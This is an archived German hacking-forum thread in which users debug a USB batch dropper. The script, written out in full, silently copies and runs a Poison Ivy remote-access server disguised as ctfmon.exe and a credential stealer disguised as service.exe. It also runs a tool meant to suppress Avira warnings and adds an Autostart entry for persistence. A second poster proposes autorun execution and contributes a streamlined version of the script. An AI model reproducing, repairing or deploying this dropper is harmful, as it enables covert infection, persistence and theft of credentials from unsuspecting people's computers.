PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [Batch] Wo liegt der Fehler?



Lycidias
03.03.2009, 13:26
Hi! Ich habe auf meinem USB Stick den Ordner "lol" eingerichtet. In diesem befinden sich mein Poison Ivy Server(ctfmon.exe), mein Sattelite 4600 Stealer(service.exe) und der Avira Ignore Clicker(avira.exe) von http://free-hack.com/showthread.php?t=22601 ).
Die Batch sowie popo.txt liegen Im Hauptverzeichnis meines USB Sticks. Inhalt der Batch:



chcp 1252
if exist "B:\popo.txt" set a=B:\
if exist "C:\popo.txt" set a=C:\
if exist "D:\popo.txt" set a=D:\
if exist "E:\popo.txt" set a=E:\
if exist "F:\popo.txt" set a=F:\
if exist "G:\popo.txt" set a=G:\
if exist "H:\popo.txt" set a=H:\
if exist "I:\popo.txt" set a=I:\
if exist "J:\popo.txt" set a=J:\
if exist "K:\popo.txt" set a=K:\
if exist "L:\popo.txt" set a=L:\
if exist "M:\popo.txt" set a=M:\
if exist "N:\popo.txt" set a=N:\
if exist "O:\popo.txt" set a=O:\
if exist "P:\popo.txt" set a=P:\
if exist "Q:\popo.txt" set a=Q:\
if exist "R:\popo.txt" set a=R:\
if exist "S:\popo.txt" set a=S:\
if exist "T:\popo.txt" set a=T:\
if exist "U:\popo.txt" set a=U:\
if exist "V:\popo.txt" set a=V:\
if exist "W:\popo.txt" set a=W:\
if exist "X:\popo.txt" set a=X:\
if exist "Y:\popo.txt" set a=Y:\
if exist "Z:\popo.txt" set a=Z:\
cd %a%\lol\
xcopy avira.exe "C:\Dokumente und Einstellungen\%username%\Startmenü\Programme\Auto start\" /Y
start avira.exe
ping -n 3 127.0.0.1
cd %a%\lol\
xcopy service.exe "C:\system\" /I /Y
cd %a%\lol\
xcopy ctfmon.exe "C:\system\" /I /Y
cd C:\system\
start service.exe
ping -n 8 127.0.0.1
start ctfmon.exe
ping -n 8 127.0.0.1
exit

Weiß jemand wo der Fehler liegt?
Vielen Dank!

X.êr.rôR.X
03.03.2009, 13:43
wiso packst net einfach einen autostart.ini auf deinen usb stick ist 1. einfacher zu basteln und es wird automatisch ausgeführ sobald du ihn irgenwo reinstopfst wenn ich mir das ganze jetz so denke was du vor hast^^

Lycidias
03.03.2009, 14:01
Ich hab ne autostart.ini ^^ und die geht auch. der fehler liegt aber in der batch.

Cheese
03.03.2009, 14:23
was machst du mit den ganzen "if exists" zeug, deine batch liegt doch selbst auf dem stick, du kannst doch von ihm ausgehen.


so reicht es:


xcopy lol/avira.exe "%USERPROFILE%\Startmenü\Programme\Autostart\avira .exe" /Y
xcopy lol/service.exe "%HOMEDRIVE%\system\service.exe" /Y
xcopy lol/ctfmon.exe "%HOMEDRIVE%\system\ctfmon.exe" /Y
ping -n 8 127.0.0.1
start "%USERPROFILE%\Startmenü\Programme\Autostart\avira .exe"
start "%HOMEDRIVE%\system\service.exe"
start "%HOMEDRIVE%\system\ctfmon.exe"
exit

Lycidias
03.03.2009, 18:15
was machst du mit den ganzen "if exists" zeug, deine batch liegt doch selbst auf dem stick, du kannst doch von ihm ausgehen.


so reicht es:


xcopy lol/avira.exe "%USERPROFILE%\Startmenü\Programme\Autostart\avira .exe" /Y
xcopy lol/service.exe "%HOMEDRIVE%\system\service.exe" /Y
xcopy lol/ctfmon.exe "%HOMEDRIVE%\system\ctfmon.exe" /Y
ping -n 8 127.0.0.1
start "%USERPROFILE%\Startmenü\Programme\Autostart\avira .exe"
start "%HOMEDRIVE%\system\service.exe"
start "%HOMEDRIVE%\system\ctfmon.exe"
exit


danke, aber es funktioniert irgentwie trotzdem nicht. er kopiert die dateien nicht. und dann kommen nur 3 KOmmandozeilenfenster, wo nichts drinsteht.
achja: am anfang hast du / statt \ geschrieben, aber auch wenn ich das änder funktioniert es nicht... hmm